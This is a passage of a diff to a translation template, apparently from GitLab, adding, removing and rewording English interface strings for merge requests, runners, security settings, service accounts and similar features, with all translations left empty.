msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21715,6 +22066,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21760,22 +22114,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21895,6 +22240,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22534,6 +22891,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22786,9 +23146,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22939,9 +23296,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22966,6 +23320,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23170,6 +23527,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23206,6 +23566,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23401,6 +23764,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23449,9 +23815,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23494,6 +23866,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23515,6 +23890,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23611,6 +23989,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23830,7 +24211,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23986,7 +24367,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24070,6 +24451,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24160,19 +24547,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24193,6 +24580,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24232,6 +24625,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24253,6 +24649,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24271,7 +24670,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24511,6 +24910,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24868,6 +25270,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24964,9 +25369,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25219,6 +25621,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25534,9 +25942,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25666,6 +26071,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25681,9 +26089,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25774,10 +26179,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25918,6 +26323,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25945,9 +26353,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26188,7 +26593,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26470,7 +26875,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26491,13 +26896,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26539,13 +26944,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26875,9 +27283,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26956,6 +27361,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27223,12 +27631,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27298,6 +27712,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27322,6 +27739,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27343,6 +27763,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27547,6 +27973,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27754,6 +28183,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27772,9 +28204,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28135,6 +28573,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28297,6 +28738,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28411,6 +28855,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28513,9 +28963,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28684,6 +29131,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28711,6 +29161,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28720,6 +29173,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28837,15 +29296,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28861,6 +29320,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28930,6 +29392,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28954,6 +29419,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29137,6 +29605,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29158,6 +29629,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29176,6 +29650,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29254,7 +29731,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29269,6 +29746,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29290,6 +29773,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29329,6 +29815,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29398,6 +29887,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29716,6 +30208,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29770,6 +30265,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29782,6 +30280,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29803,6 +30304,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29815,12 +30319,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29854,6 +30364,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29863,6 +30376,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29893,12 +30409,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29956,19 +30478,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30049,21 +30577,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30451,6 +30964,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30475,6 +30991,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30523,7 +31042,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30538,7 +31057,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30550,7 +31069,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30610,6 +31129,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30619,6 +31141,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30643,6 +31168,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30712,7 +31243,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30721,6 +31255,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30742,6 +31279,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30961,7 +31504,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30994,6 +31537,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31132,6 +31678,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31336,9 +31885,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31438,7 +31984,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31450,6 +32005,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31495,6 +32053,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31576,6 +32137,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31633,9 +32197,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31711,9 +32272,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31780,6 +32338,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31795,6 +32374,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31843,18 +32425,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32221,6 +32794,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
